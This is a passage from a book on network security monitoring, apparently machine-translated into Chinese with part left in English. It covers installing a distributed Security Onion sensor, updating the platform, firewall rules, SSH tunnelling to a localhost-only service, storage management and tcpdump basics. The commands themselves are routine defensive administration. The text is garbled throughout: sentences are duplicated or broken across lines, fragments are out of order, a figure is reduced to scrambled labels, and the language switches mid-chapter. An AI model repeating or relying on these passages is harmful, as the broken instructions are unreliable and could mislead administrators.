7. 在硬盘上安装 GRUB 引导加载程序。安装 GRUB 引导
将引导加载程序写入主引导记录吗?是
8. 完成安装。继续
安装完成后,系统将重启。
登录后,你可能会看到通过 DHCP 分配的 IP 地址,以及
各种消息。如果显示 IP 地址,请注意。如果系统负载较高,
在负载较高时,你可能看不到报告 IP 地址的系统信息屏幕。
地址。要获取管理网卡的 IP 地址,请运行ifconfig eth0
在命令提示符下,如图 4-16 所示。
图 4-16:运行 ifconfig eth0 以获取管理 IP 地址
分布式部署 93
现在是时候更新传感器软件了。使用 OpenSSH 连接到服务器并输入以下命令:
$ sudo apt-get update && sudo apt-get dist-upgrade
当系统提示时,键入Y以继续,然后按回车。传感器
应该下载并安装更新。完成后,输入sudo
reboot命令重启服务器并完成过程。
将系统配置为传感器
我们的下一个任务是配置 SO 传感器。首先,输入以下命令:
命令告诉 MySQL 在安装过程中不要提示输入 root 密码。
$ echo "debconf debconf/frontend select noninteractive" | sudo debconf-set-selections 现在安装 python-software-properties 包。
$ sudo apt-get -y install python-software-properties
接下来,将 securityonion/stable PPA 添加到已识别的仓库列表中,
由此 Ubuntu 系统识别的仓库列表,如清单 4-10 所示。
$ sudo add-apt-repository -y ppa:securityonion/stable
gpg: 密钥环 `/tmp/tmpBByK4H/secring.gpg' 已创建
gpg: 密钥环 `/tmp/tmpBByK4H/pubring.gpg' 已创建
gpg: 从 hkp 服务器 keyserver.ubuntu.com 请求密钥 23F386C7
gpg: /tmp/tmpBByK4H/trustdb.gpg: trustdb 已创建
gpg: 密钥 23F386C7: 公钥 "Launchpad PPA for Security Onion" 导入成功
gpg: 处理的总数: 1
gpg: 已导入: 1 (RSA: 1)
好的
清单 4-10: 将 securityonion/stable PPA 添加到软件源列表
使用以下命令更新软件包列表。
$ sudo apt-get update
安装以下软件包。
$ sudo apt-get install securityonion-sensor securityonion-elsa securityonion-elsa-extras 在系统询问是否继续时,输入Y并按回车键。
94 第四章

运行设置向导
为了运行设置向导,我们需要使用 OpenSSH 和启用 X 转发
继续。执行以下操作,但请使用适合的用户名和 IP 地址
你的环境。在清单 4-11 中,我选择了 sensordemo 作为用户名,
通过 DHCP 分配的 IP 地址是 192.168.2.147\。
richard@ubuntu:~$ ssh -X sensordemo@192.168.2.147
无法验证主机 '192.168.2.147 (192.168.2.147)' 的真实性。
ECDSA 密钥指纹是 a5:a9:08:16:b5:d2:3c:ce:59:f7:08:91:a0:04:0b:47\。
确认是否继续连接 (yes/no)? yes
警告: 已永久添加 '192.168.2.147' (ECDSA) 到已知主机列表。
sensordemo@192.168.2.147 的密码: ***********
欢迎使用 Ubuntu 12.04.2 LTS (GNU/Linux 3.2.0-37-generic x86_64)
系统信息截至 2013 年 2 月 10 日 13:06:46 EST
系统负载: 0.11 进程: 82
使用情况 /: 35.20GB 中的 5.3% 已使用 登录用户: 1
内存使用: 1% eth0 的 IP 地址: 192.168.2.147
交换使用: 0%
在 https://landscape.canonical.com/ 上绘制这些数据并管理此系统
上次登录: 2013 年 2 月 10 日 13:03:59
/usr/bin/xauth: 文件 /home/sensordemo/.Xauthority 不存在
sensordemo@sensordemo:~$ sudo sosetup
[sudo] sensordemo 的密码: **********
清单 4-11: 连接到 SO 传感器并配置 X 转发
执行此命令时,你将看到如下所示的屏幕
如图 4-17 所示。你需要配置网络接口,因为
平台是传感器。
图 4-17: 配置网络接口的提示
分布式部署 95


请记得使用 SO 的 IP 地址、用户名和密码
从 PPAs 安装服务器。设置向导将总结你的配置
选择并询问是否希望继续更改,如图所示
图 4-18.
图 4-18: 在继续修改网络接口之前的 SO 总结
系统重启后,再次通过
OpenSSH 并启用 X 转发。重新运行设置向导,然后
选择高级设置4传感器。输入 SO 服务器的 IP 或主机名,
服务器,随后是可以通过 OpenSSH 连接并运行的用户名
sudo。选择适当的 NIC 进行监控,启用 ELSA,更新
ELSA 服务器,然后查看变更摘要,
看起来类似于图 4-19\。
图 4-19:在进行传感器更改前的 SO 摘要
96 第四章
当你连接时,将提示你继续通过 OpenSSH 连接,
无法验证 SO 服务器的 ECDSA 密钥的真实性。你还将
需要登录 SO 服务器,并输入 sudo 密码。一旦
完成后,设置向导会报告已完成。之后,
GUI 消失后,运行状态脚本查看 NSM 应用是否
正在运行,如清单 4-12 所示\。
$ sudo service nsm status
状态:HIDS
- ossec_agent (sguil) [ OK ]
状态:Bro
名称 类型 主机 状态 PID 同行 启动时间
manager manager 192.168.2.131 正在运行 3173 2 10 2 月 18:18:27
代理 proxy 192.168.2.131 正在运行 3228 2 10 2 月 18:18:29
sensordemo-eth1-1 worker 192.168.2.131 正在运行 3275 2 10 2 月 18:18:32
状态:sensordemo-eth1
-
netsniff-ng (完整数据包数据) [ OK ]
-
pcap_agent (sguil) [ OK ]
-
snort_agent (sguil) [ OK ]
-
suricata (警报数据) [ OK ]
-
barnyard2 (spooler, unified2 格式) [ OK ]
-
prads (会话/资产) [ OK ]
-
sancp_agent (sguil) [ OK ]
-
pads_agent (sguil) [ OK ]
-
argus [ OK ]
-
http_agent (sguil) [ OK ]
清单 4-12:检查 NSM 服务状态
也检查是否建立了如图所示的 autossh 隧道
清单 4-13\。
$ ps aux | grep autoss[h]
root 3046 0.0 0.0 4308 320 ? Ss 18:18 0:00 /usr/lib/
autossh/autossh -M 0 -q -N -o ServerAliveInterval 60 -o ServerAliveCountMax
3 -i /root/.ssh/securityonion -L 3306:127.0.0.1:3306 -R 50000:localhost:50000
-R 50001:localhost:9306 serverdemo@192.168.2.128
清单 4-13:查找 autossh 进程
这些结果(每个字段中都有 OK)都是好兆头。如果你得到不同的
如果得到不同的结果,尝试重新运行设置向导。
为了验证一切是否按预期工作,访问 Web 服务器
正在新 SO 服务器上运行,然后运行 Snorby 并查看事件
由 Suricata IDS 引擎捕获。如果你看到事件,恭喜你—
你已经使用 Ubuntu Linux PPAs 构建了分布式 NSM 系统!
分布式部署 97
结论
在本章中,你超越了传统的独立 SO 模型
并进入了分布式 NSM 操作的世界。我们查看了两种
部署服务器加传感器系统的可能方式:
• 使用 SO 项目提供的.iso镜像构建 SO 服务器,
然后使用相同的.iso文件构建 SO 传感器。
• 使用 Ubuntu Server 发行版的标准.iso镜像来
替换 SO 项目的.iso文件。我们使用 SO 项目 PPAs 构建了一个
SO 服务器和 SO 传感器。
使用每种方法—SO 项目的.iso文件或“标准”.iso文件
来自 Ubuntu 开发者的警告—我们构建了一个分布式 NSM 系统。
在第五章中,我们将简要介绍各种 SO 系统维护任务
问题,如保持平台更新,限制网络访问,
为了安全性目的,并管理平台存储。
98 第四章
5
SO 平台的维护
在第三章和第四章中,我们构建了独立的,
服务器和传感器 SO 平台。所有的
这些平台是 Linux 系统,
需要一定的注意和维护
维护。本章解释了三个系统共同的关键任务。
这三种系统的管理任务包括
保持软件更新,限制网络访问以促进安全性,
以及管理系统存储。通过遵循本章中的建议
本章,你将保持 SO 平台的平稳运行,同时提供
重要数据传送给 NSM 分析师。
保持 SO 系统最新
所有 NSM 平台运行的代码可能需要定期更新,
SO 系统也不例外。如果你不定期更新操作系统,
系统及各种应用程序,可能会出现运行代码的问题,


漏洞。幸运的是,SO 的更新并不困难。最简单的路径是
使用图形用户界面的更新方法很容易,但 SO 团队推荐从命令行更新。
这种方法提供了更多对更新过程的控制,因此我建议使用它。
过程。我们将从最简单的方法开始,然后看看如何使用
推荐的更新方式。
通过图形用户界面更新
若要通过图形用户界面更新,请登录 SO 控制台。你可能会看到类似的通知
与图 5-1 所示的界面类似,通知你有可用的更新。
图 5-1:SO 会通知你有可用的更新。
点击感叹号图标,打开一个带有更新选项的菜单,
并选择显示更新。你很可能会看到重要的和推荐的更新,
推荐的更新,如图 5-2 所示。
图 5-2:重要的安全更新和推荐更新已可用。
100 第五章
我建议安装所有更新。例外情况是如果 SO 项目在某些更新上遇到问题,在这种情况下,它可能会建议
遵循其他程序或避免某些更新。如果有警告,
警告将发布在 SO 网站上,网址是http://securityonion.blogspot.com/。
若要继续,点击安装更新。完成后,更新管理器
将报告软件已是最新版本,并且可能需要重新启动系统。
请遵循任何附加指示。
正如你所看到的,通过图形用户界面进行更新是很简单的。然而,你可以找到
自行接受可能与推荐更新不兼容的更新。
SO 项目的推荐。例如,MySQL 数据库更新可能
可能会有一些问题。因此,我建议遵循 SO 项目的建议:
通过命令行进行更新。
通过命令行更新
SO 项目博客通常会告知用户通过 com- 进行更新。
命令行,并提供特定的语法。要执行通用更新,请打开
在桌面上的终端输入以下内容:
$ sudo apt-get update
现在使用列表 5-1 中显示的命令检查过时的软件。
$ sudo apt-get upgrade
正在读取软件包列表... 完成
正在构建依赖树
正在读取状态信息... 完成
以下软件包将被升级:
ecryptfs-utils fonts-opensymbol gstreamer0.10-plugins-good
gstreamer0.10-pulseaudio language-selector-common language-selector-gnome
libecryptfs0 libpciaccess0 libpq5
9 个已升级,0 个新安装,0 个移除,0 个未升级。
需要下载 2,861 kB 的档案。
操作完成后,将释放 114 kB 磁盘空间。
是否继续 [Y/n]?
列表 5-1:运行 sudo apt-get upgrade
记得遵循 SO 团队关于更新的警告,
决定是否继续,并回答是或否。如果你回答 Y,
Apt 将下载并安装更新。
重启以确保你的 SO 应用程序正常工作。
注
更多关于更新 SO 的指导请参见附录。
SO 平台维护 101
限制对 SO 的访问
默认情况下,SO 配置了启用的 Linux iptables 防火墙。一个本地防火墙
防火墙像 iptables 一样帮助执行适当的网络安全策略
服务器。要查看默认的访问控制设置,请运行不复杂的
防火墙(UFW)配置程序通过 sudo ufw status。(我添加了
最右列到列表 5-2 手动显示与服务相关联的内容
每个开放端口都有相应的配置。)
$ sudo ufw status
[sudo] 密码为 sademo: **********
状态:活动
从 操作
22/tcp 允许 任何地方 OpenSSH
514 允许 任何地方 Syslog
1514/udp 允许 任何地方 OSSEC
443/tcp 允许 任何地方 Apache
444/tcp 允许 任何地方 Snorby
7734/tcp 允许 任何地方 Sguil 客户端到服务器
7736/tcp 允许 任何地方 Sguil 代理到服务器
3154/tcp 允许 任何地方 ELSA
22/tcp 允许 任何地方 (v6) OpenSSH
514 允许 任何地方 (v6) Syslog
1514/udp 允许 任何地方 (v6) OSSEC
443/tcp 允许 任何地方 (v6) Apache
444/tcp 允许 任何地方 (v6) Snorby
7734/tcp 允许 任何地方 (v6) Sguil 客户端到服务器
7736/tcp 允许 任何地方 (v6) Sguil 代理到服务器
3154/tcp 允许 任何地方 (v6) ELSA
列表 5-2:防火墙策略
由此命令列出的防火墙策略显示所有允许状态,
允许网络流量通过指定端口的防火墙策略
隐式地拒绝对任何其他端口的入站访问。这意味着如果,
例如,你需要修改配置来启动 Apache 网络服务器
如果服务器在另一个端口上,你需要更改 iptables 防火墙访问设置。
根据需要调整控制列表。
在默认配置中,Apache 在端口 443 TCP 上监听,
根据防火墙设置,远程系统被允许连接到端口 443 TCP
策略。监听在端口 4443 上的 Apache,然而将无法访问。
除非管理员更改了防火墙策略。
一些管理员选择不暴露更多端口以进行远程访问,
选择限制在公共接口上监听的服务数量。相反
让应用程序监听公共网络接口时,管理员
“绑定”它们到非公开接口。
一种使用非公开接口提高安全性的方法是配置
让应用程序仅监听 localhost(127.0.0.1)。当应用程序
102 第五章
只监听本地接口的应用程序无法被远程访问;只能通过本地系统访问(因此使用 localhost,非公开 IP 地址)。
然而,你可以通过巧妙地配置 OpenSSH 来“模拟”本地访问。
你可以从授权的远程客户端设置 SSH 代理到目标
运行监听本地接口的应用程序的服务器。
通过 SOCKS 代理连接
为了演示访问仅在本地接口上监听的应用程序,我们将
与 Xplico 应用程序一起工作,你可能记得看到过一个警告,
在 SO 欢迎页面上,显示端口 9876 TCP 用于 Xplico 不可用。
从远程连接时。默认情况下,如果你尝试从远程计算机连接到端口,
如果 SO 系统上的端口 9876 TCP 未开放,iptables 将拒绝连接。9876 TCP 端口
本地可用。如果你在 SO 平台上打开网页浏览器并
将其指向端口 9876 TCP,Xplico 正在监听该端口。
如果你想从桌面访问 Xplico,你需要
模拟本地访问。如果你使用 SSH 作为
SOCKS 代理(一个旨在允许这种“隧道”模拟的协议——
模拟本地访问)。
使用 SSH 设置 SOCKS 代理将允许你远程访问
一个只监听本地接口的应用程序。你可以在设置过程中通过以下方式实现这个目标。
不论是在 Microsoft Windows 桌面还是 Linux 桌面上。
如果你的远程客户端运行 Microsoft Windows,你可以使用免费的 PuTTY
客户端,可以连接到该端口。PuTTY 是一个
提供一个单独的.exe二进制文件,不需要任何安装过程。按照以下步骤进行操作:
- 运行putty.exe程序,并导航至连接4SSH4隧道。
在源端口字段中输入一个 TCP 端口,该端口将在你的本地系统上监听。
(在这个例子中,我使用的是 8080 TCP)。
-
选择动态和自动单选按钮,然后点击添加。你的设置应如下图 5-3 所示。
-
返回 PuTTY 的会话部分,输入主机名或 IP 地址
以及远程 SO 独立系统的端口,然后点击打开。
- 使用你选择的用户名和密码登录到 SO 系统。
在设置过程中。
- 打开你的网页浏览器并选择配置网络
设置。例如,如果你使用 Firefox,选择选项4网络4
选择设置,然后配置手动代理的连接设置。
配置 SOCKS 主机为 127.0.0.1,端口设置为
你在 PuTTY 中配置的防火墙规则。图 5-4 显示了我的设置。点击 OK 来
继续。
6. 将 Firefox 指向 https://127.0.0.1:9876。你的浏览器应该重定向到
https://127.0.0.1:9876/users/login 并警告 Xplico 未运行。
这样没问题;你已经通过 TCP 端口 9876 访问了 web 服务器,哪
之前无法远程访问。
SO 平台维护 103


图 5-3:配置 PuTTY 用于 SSH 端口转发
图 5-4:在 Firefox 中配置代理设置
104 第五章
如果你的远程客户端是 Linux 系统,你可以使用集成的 SSH 客户端实现相同的目标。在你的 Linux 桌面上,运行以下命令
命令:
ssh -L 9876:localhost:9876 *用户名*@ SO 服务器 IP
在你的隧道建立后,按照前面的步骤 4 和 5 进行操作
配置 Windows 远程客户端的 Firefox 浏览器的程序
并访问 web 服务器。
更改防火墙策略
如果你不想通过隧道传输流量来绕过防火墙,你可以修改
更改防火墙规则。例如,以下命令更改规则集
允许远程访问端口 9876 TCP。
$ sudo ufw allow 9876/tcp
规则已添加
规则已添加(v6)
要再次禁止该端口,请输入以下命令:
$ sudo ufw deny 9876/tcp
规则已更新
规则已更新(v6)
请参阅 SO wiki 获取更多有关配置防火墙的信息
( https://code.google.com/p/security-onion/wiki/Firewall).
管理 SO 数据存储
一旦你安装并配置了 SO 并将其嗅探接口连接到
在实时网络中,NSM 软件开始收集并解释流量。
SO 传感器存储了各种 NSM 数据类型,但有两个目录特别重要:
特别关注:
• /nsm 目录存储日志和完整的内容数据。
• /var/lib/mysql 目录保存 SO 的数据库。
/nsm 目录通常比 /var/lib/mysql 占用更多的磁盘空间。
SO 将完整的内容数据保存在 /nsm/sensor_data/<传感器名-接口>/
dailylogs/YYYY-MM-DD 目录,文件名采用 snort.log.<Unix 时间戳> 格式。虽然文件名中有 snort,但内容是常见的 pcap 格式。列表 5-3 显示了存储在独立演示 SO 平台上两个目录中的完整内容数据。
SO 平台维护 105
sademo@sademo:/nsm/sensor_data/sademo-eth1/dailylogs$ ls -alR
.:
总计 16
drwxrwxr-x 4 sguil sguil 4096 Feb 16 12:28 .
drwxrwxr-x 7 sguil sguil 4096 Feb 10 11:12 ..
drwxrwxr-x 2 sguil sguil 4096 Feb 10 13:09 2014-02-10
drwxrwxr-x 2 sguil sguil 4096 Feb 16 20:15 2014-02-16
./2013-02-10:
总计 118060
drwxrwxr-x 2 sguil sguil 4096 Feb 10 13:09 .
drwxrwxr-x 4 sguil sguil 4096 Feb 16 12:28 ..
-rw-r--r-- 1 root root 108390541 Feb 10 11:31 snort.log.1360494635
-rw-r--r-- 1 root root 12485022 Feb 10 13:17 snort.log.1360501765
./2014-02-16:
total 645312
drwxrwxr-x 2 sguil sguil 4096 Feb 16 20:15 .
drwxrwxr-x 4 sguil sguil 4096 Feb 16 12:28 ..
-rw-r--r-- 1 root root 10637153 Feb 16 12:41 snort.log.1361017706
-rw-r--r-- 1 root root 122264262 Feb 16 14:29 snort.log.1361019690
-- snip --
Listing 5-3: Directory contents for /nsm/sensor_data/sademo-eth1/dailylogs
The date on the directory listing is the time the file was last modified.
The date in the snort.log
of seconds elapsed since January 1, 1970.
You can translate the Unix timestamp into more familiar terms with the
date command. For example, running date against the file snort.log.1360494635, we learn that the trace was created about 21 minutes before the system stopped
writing to it. We know this because the timestamp on the file is Feb 10 11:31,
and the “translated” date from the filename is Feb 10 11:10:35. We can see
that the file was opened at roughly 11:10, and it was last written to 21 minutes
later, at 11:31.
$ date --date='@1360494635'
Sun Feb 10 11:10:35 UTC 2013
Managing Sensor Storage
To manage sensor storage, SO scripts check the amount of available hard
drive space regularly. As the used space hits the 90 percent threshold, the
scripts remove old full content (pcap) files from the /nsm/ sensor_data/
dailylogs/argus, and old Snort Unified2 alert files from /nsm/sensor_data/
exist and how the system manages them.
106 Chapter 5
The system works by having the Linux cron command run the /usr/
sbin/nsm_sensor_clean script hourly, which calls the sensor_cleandisk() func-
tion found in /usr/lib/nsmnow/lib-nsm-sensor-utils. The sensor_cleandisk()
function in lib-nsm-sensor-utils contains the 90 percent value that triggers
deleting old logs. Although this daily check at 90 percent works well for
most users, you can change it to suit your needs if necessary. If you want
to change the 90 percent figure, edit it in the lib-nsm-sensor-utils file.
Checking Database Drive Usage
To check the size of SO’s databases in /var/lib/mysql, use MySQL command
shown in Listing 5-4. (Thanks to RolandoMySQLdba for posting this at
http://pastebin.com/YFqNaVi3/.)
$ mysql -u root
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 386507
Server version: 5.5.29-0ubuntu0.12.04.1 (Ubuntu)
版权所有(c) 2000, 2012,Oracle 及其附属公司。保留所有权利。
Oracle 是 Oracle Corporation 及其附属公司的注册商标。
其他名称可能是其各自所有者的商标。
输入 'help;' 或 '\h' 获取帮助。输入 '\c' 清除当前输入语句。
mysql> SELECT DBName,CONCAT(LPAD(FORMAT(SDSize/POWER(1024,pw),3),17,' '),' ',
-> SUBSTR(' KMGTP',pw+1,1),'B') "数据大小",CONCAT(LPAD(
-> FORMAT(SXSize/POWER(1024,pw),3),17,' '),' ',SUBSTR(' KMGTP',pw+1,1),'B') "索引大小",
-> CONCAT(LPAD(FORMAT(STSize/POWER(1024,pw),3),17,' '),' ',
-> SUBSTR(' KMGTP',pw+1,1),'B') "总大小" FROM
-> (SELECT IFNULL(DB,'所有数据库') DBName,SUM(DSize) SDSize,SUM(XSize) SXSize,
-> SUM(TSize) STSize FROM (SELECT table_schema DB,data_length DSize,
-> index_length XSize,data_length+index_length TSize FROM information_schema.tables
-> WHERE table_schema NOT IN ('mysql','information_schema','performance_schema')) AAA
-> GROUP BY DB WITH ROLLUP) AA,(SELECT 3 pw) BB ORDER BY (SDSize+SXSize);
+------------------+----------------------+----------------------+----------------------+
| DBName | 数据大小 | 索引大小 | 总大小 |
|---|
+------------------+----------------------+----------------------+----------------------+
| elsa_web | 0.000 GB | 0.000 GB | 0.000 GB |
|---|---|---|---|
| syslog | 0.014 GB | 0.007 GB | 0.021 GB |
| snorby | 0.059 GB | 0.020 GB | 0.079 GB |
| syslog_data | 1.625 GB | 0.050 GB | 1.675 GB |
| securityonion_db | 3.384 GB | 0.377 GB | 3.761 GB |
| 所有数据库 | 5.082 GB | 0.454 GB | 5.536 GB |
+------------------+----------------------+----------------------+----------------------+
6 行结果(2.20 秒)
列表 5-4:显示数据库表使用的存储空间
在这个例子中,正在使用的数据库总共占用了 5.536GB。
Sguil 及其组件使用的 securityonion_db 数据库占用
3.761GB,ELSA 使用的 syslog_data 数据库占用 1.675GB。
SO 平台维护107
管理 Sguil 数据库
SO 还提供了一个 sguil-db-purge 脚本,用于管理 Sguil 数据库
securityonion_db。配置文件/etc/nsm/securityonion.conf包含一个 DAYSTOKEEP 变量,如列表 5-5 所示。
ENGINE=snort
DAYSTOKEEP=365
ELSA=YES
列表 5-5:/etc/nsm/securityonion.conf 中的 DAYSTOKEEP 变量
当 SO 运行 sguil-db-purge 时,它会删除默认期限之前的数据
从 securityonion_db 数据库中删除 365 天的数据。你可以编辑 DAYSTOKEEP
如果你开始用完硬盘空间,可以调整这个变量。
为了管理 syslog_data 数据库,ELSA 提供了一个配置变量
用于控制磁盘空间使用量的变量。文件/etc/elsa_node.conf
包含列表 5-6 所示的条目。
日志和索引的大小限制。将此设置为总数据磁盘空间的 90-95%。
"log_size_limit" : 200000000000,
列表 5-6:/etc/elsa_node.conf 中的大小限制条目
log_size_limit 变量是根据字节数设置的,因此
默认值大约相当于 187GB。调高或调低此值以管理
ELSA 数据库存储根据需要调整。
跟踪磁盘使用情况
尽管 SO 提供了自动管理硬盘空间的方法,但它并不是一个
完全部署并遗忘的设备。通过使用
df -h 命令和更加精细的 du -csh 命令中所示的
列表 5-7\。
$ sudo df -h
文件系统 大小 已用 可用 使用% 挂载位置
/dev/sda1 456G 96G 337G 23% /
udev 1.5G 4.0K 1.5G 1% /dev
tmpfs 603M 876K 602M 1% /run
none 5.0M 0 5.0M 0% /run/lock
none 1.5G 216K 1.5G 1% /run/shm
$ sudo du -csh /nsm
86G /nsm
86G 总计
列表 5-7:磁盘使用命令
108 第五章
如你所见,这个传感器在硬盘(/dev/sda1)上有充足的空间,只有 23%的空间被占用。/nsm目录占用了 86GB
整个分区占用的 96GB 中,数据库的示例
本章前面提到的大小检查显示所有数据库占用了
5.536GB。Windows 用户可能更熟悉图形表示方式。
了解硬盘使用情况非常有用。在 Linux 上,熟悉
可以监控由像 df 这样的命令生成的百分比和列表。
结论
本章解释了几个核心的管理任务:保持软件
保持系统最新,限制网络访问以提高安全性,并管理
系统存储。这些绝不是管理系统所需的唯一技能。
管理,但幸运的是,SO 项目使得照顾 NSM
使平台更简便。掌握这些基本技能,你就能保持你的 SO 系统
系统以最小的努力顺畅运行。
在接下来的章节中,我们将查看你可以
用于收集和解释网络数据。
SO 平台日常维护 109
第三部分
工具
6
命令行工具包
分析工具
在第三章和第四章,我们安装了 SO
软件的几种配置方式,
我们在之前讨论了日常维护功能。
第五章。现在你拥有了这个强大的
NSM 平台收集数据,本章我将
介绍了用于
向分析师展示信息。这些工具中的一些将一直运行。
随时调用的命令,每个方法都有其特定用途。
优势和弱点。我会讨论我如何使用关键功能,尽管我不会
这里不会详尽无遗地介绍所有工具。
由于这本书是为新分析师编写的,我将讨论 SO 的相关内容。
本部分的工具将集中于数据展示。在本章中,我
我们将看看使用命令行界面的数据展示工具。在
第七章我将讨论使用图形界面的数据展示工具。
表面,在第八章中我将研究数据展示的专门形式
工具——NSM 控制台。现在,让我们退一步理解所有
SO 中打包的 NSM 工具之间是相互关联的。
工具类别
SO 附带了多种工具,详细列表可见 SO 维基( http://code.google
.com/p/security-onion/wiki/Tools)。有些工具向分析师展示数据,有些
直接从网络或通过其他计算机的消息收集数据
其他工具则介于两者之间,充当中间件,提供
数据或提供其他必要功能。让我们简要看看每个
工具的类别:数据展示、数据收集和数据传递。
SO 数据展示工具
数据展示工具 将 NSM 信息展示给分析师。两种类型的
数据展示工具用于数据包分析,在 SO 中可用。一种依赖于
一个是命令行界面,另一个为分析师提供图形界面
界面。SO 还为数据展示提供了 NSM 控制台。
数据包分析工具
数据包分析工具 从实时接口或包含以 pcap 格式保存的流量的文件中读取网络流量。分析师使用数据包分析工具来
更好地解释网络流量,但不一定实现 NSM
特定的调查或工作流。这些工具中的一些帮助分析师更好地
理解单个数据包的工具,其他工具将数据包分组为会话,仍然
其他则分析应用数据。这些工具的作者通常没有
并不是为 NSM 而构建的,但它们对于理解
理解网络流量。
有两种数据展示工具可用于数据包分析
SO。一个依赖命令行界面。这些工具包括 Tcpdump,
Tshark 和 Argus Ra 客户端。因为
某些 Tshark 的使用依赖于相关的数据收集工具 Dumpcap,
我将与 Tshark 一起介绍它。第二种数据包分析工具
向分析师提供图形界面。Wireshark、Xplico 和 NetworkMiner
这类软件的例子,我将在第七章中讨论。
NSM 控制台
NSM 控制台 是基于 NSM 特定的调查和工作流构建的
考虑。控制台的作者从核心的 NSM 原则出发并实现
它们被实现为软件工具。这些工具还具有数据展示功能
应用程序,但它们更像是 NSM 数据的门户。本文中将讨论的软件包括
该类别包括 Sguil、Squert、Snorby 和 ELSA。我将解释如何使用
在第八章中我们将讨论这些 NSM 控制台。
114 第六章
SO 数据收集工具
一旦 NSM 分析师熟悉了数据展示工具,
它们转向数据收集工具。该类别的软件包括 Argus 服务器、Netsniff-ng、被动实时资产检测系统(PRADS),
Snort、Suricata 和 Bro。(Dumpcap 也属于这一类,但 SO
默认情况下未启用。) 这些应用程序收集并生成
将 NSM 数据提供给展示工具。
Argus 服务器和 PRADS 创建并存储各自的会话格式
数据。Argus 数据以专有二进制格式存储,适合快速
命令行挖掘,而 PRADS 数据最适合通过 NSM
控制台。分析人员可以选择最适合他们的数据格式。
Netsniff-ng 仅将完整内容数据写入磁盘,采用 pcap 格式。Snort
和 Suricata 是网络入侵检测系统,检查流量并
根据每个工具部署的签名编写警报。Bro
观察并解释生成并记录为
各种 NSM 数据类型。
在 SO 平台启用的默认配置中,所有这些
应用程序提供大量 NSM 数据给展示工具进行展示,
本章和接下来的两章将讨论这些内容。
SO 数据交付工具
最后,在数据展示和数据收集工具之间,是一套
数据交付应用程序的特性。广义来说,这些中间件使得
其他类别软件的功能。工具
如 PulledPork、Barnyard2 和 CapMe 等管理 IDS 规则、警报处理
以及分别的传输、和 pcap 访问。
与 Sguil 相关的“代理”套件——如 pcap_agent、snort_agent,
等——将数据从收集工具传送到展示软件,
软件。这包括 Apache web 服务器、MySQL 数据库和
Sphinx 索引应用程序,您可能已经熟悉它。
最后,SO 包括用于集成某些主机中心分析的工具
特性。这些包括 OSSEC 主机 IDS 和 Syslog-ng 的传输
和日志消息的聚合。因为本书专注于
网络中心数据,我们不会研究来自 OSSEC 和 Syslog-ng 的数据,
但您应该知道这些组件正在 SO 平台上运行。
图 6-1 展示了核心 SO 工具之间的关系。此图
本章涵盖了 Tcpdump、Tshark、Dumpcap 和 Argus Ra 工具
客户端。第七章讲解 Wireshark、Xplico 和 NetworkMiner。第八章
讨论了 NSM 控制台 Sguil、Snorby、Squert 和 ELSA。我们将从
我们来看一下与 Tcpdump 相关的数据展示工具。
命令行数据包分析工具 115
NetworkMiner
Wireshark,
Sguil
Snorby 或
ELSA
完整界面
Bro 的界面
和 Xplico
Tshark,以及
Squert
数据
内容数据,警报
和警报数据
完整界面
Tcpdump
界面
展示内容数据,警报
协议分析器
数据,会话数据,
警报数据和
以及一些元数据
Argus Ra
数据,会话数据,
完整内容数据的界面
一些元数据
以及一些元数据
客户端
会话数据
PulledPork
pcap_agent
Apache
OSSEC
Sphinx
警报数据
snort_agent
Web 服务器
主机日志警报
ELSA 日志搜索
规则更新
数据
sancp_agent
及分析
CapMe
MySQL
交付
Barnyard2 开始
pads_agent
完整内容和
Syslog-ng
数据库
警报数据存储
http_agent
文本
日志收集
处理
从传感器到服务器
传输
数据传输
Argus 服务器
Dumpcap
PRADS
Snort 或
Bro
会话数据
完整内容数据
会话数据
Suricata
提取的内容
(未运行
和元数据
数据
警报数据
数据,会话
收集
默认)
数据,事务
数据,统计信息
Netsniff-ng
数据,元数据,
完整内容数据
和警报数据
监控接口,例如,eth1
图 6-1:核心 SO 工具
正在运行 Tcpdump
Tcpdump(http://www.tcpdump.org/)是一个命令行网络流量
分析器。Tcpdump 在 SO 上可用,但默认未运行。
分析员可以根据需求调用它,通常用来查看存储的数据
/nsm/sensor_data/
注意
Bill Fenner, David Young, Fulvio Risso, Guy Harris, Hannes Gredler, 和 Michael
Richardson 是当前的 Tcpdump 维护者,他们根据三条款BSD 许可证编写代码。(请参见 Tcpdump* CREDITS 文件,位于 http://svnweb.freebsd.org/base/
vendor/tcpdump/4.3.0/CREDITS?revision=241212&view=markup 感谢所有贡献者
贡献者。)他们还在相同许可证下开发了 libpcap 流量捕获库。Van Jacobson,Craig Leres 和 Steven McCanne 于1987 年在劳伦斯伯克利实验室网络研究小组工作时编写了原始版本。*
Tcpdump 可以作用于实时网络接口或已保存的跟踪文件。它
可以实时显示结果或将输出写入文件。
Tcpdump 是一个协议分析器,因为它可以展示多个层次的
任何它理解的流量的详细信息。作为协议分析器,它对
网络流量的分析依赖于其解码数据的能力。如果没有
对底层协议的了解,Tcpdump 可能仅生成一个
数据流,分析员需要手动解码。
第一百一十六章
使用 Tcpdump 显示、写入和读取流量
Tcpdump 在命令终端运行。要实时显示流量,
使用以下选项运行它:
$ tcpdump -n -i
-n 开关告诉 Tcpdump 不要将 IP 地址解析为主机名
通过 DNS 查询。为了避免等待,我总是用-n 开关运行 Tcpdump
同时工具通过 DNS 解析 IP 地址为主机名。-i 开关
告诉它要监控的接口。-s 开关告诉它要捕获多少字节
捕获每个数据包的内容。默认情况下,Tcpdump 会捕获 IPv4 数据包的 68 字节
IPv4 数据包为 96 字节,IPv6 数据包为 96 字节。(使用-s 0 来捕获整个
数据包,或者指定适合当前介质的值
捕获。)最后,-c 告诉 Tcpdump 要捕获多少个数据包。(如果你
忘记这个开关,Tcpdump 会一直运行,直到你按 ctrl-C 停止它。)
示例 6-1 显示了一些输出示例。Tcpdump 需要提升的
权限不足以在混杂模式下嗅探流量,因此需要在命令前加上说明
使用 sudo。
$ sudo tcpdump -n -i eth1 -c 5
tcpdump:警告:eth1:未分配 IPv4 地址
tcpdump: 忽略详细输出,使用 -v 或 -vv 获取完整协议解码
正在监听 eth1,链路类型 EN10MB(以太网),捕获大小 65535 字节
u19:48:51.723139 IP 192.168.2.120.55060 > 205.233.0.226.443:
UDP,长度 461
v19:48:51.886312 IP 69.171.246.17.443 > 192.168.2.104.49608:
标志 [P.], seq 928328861:928329246, ack 1080949825, win 39, length 385
w19:48:51.898576 IP 192.168.2.104.49608 > 69.171.246.17.443:
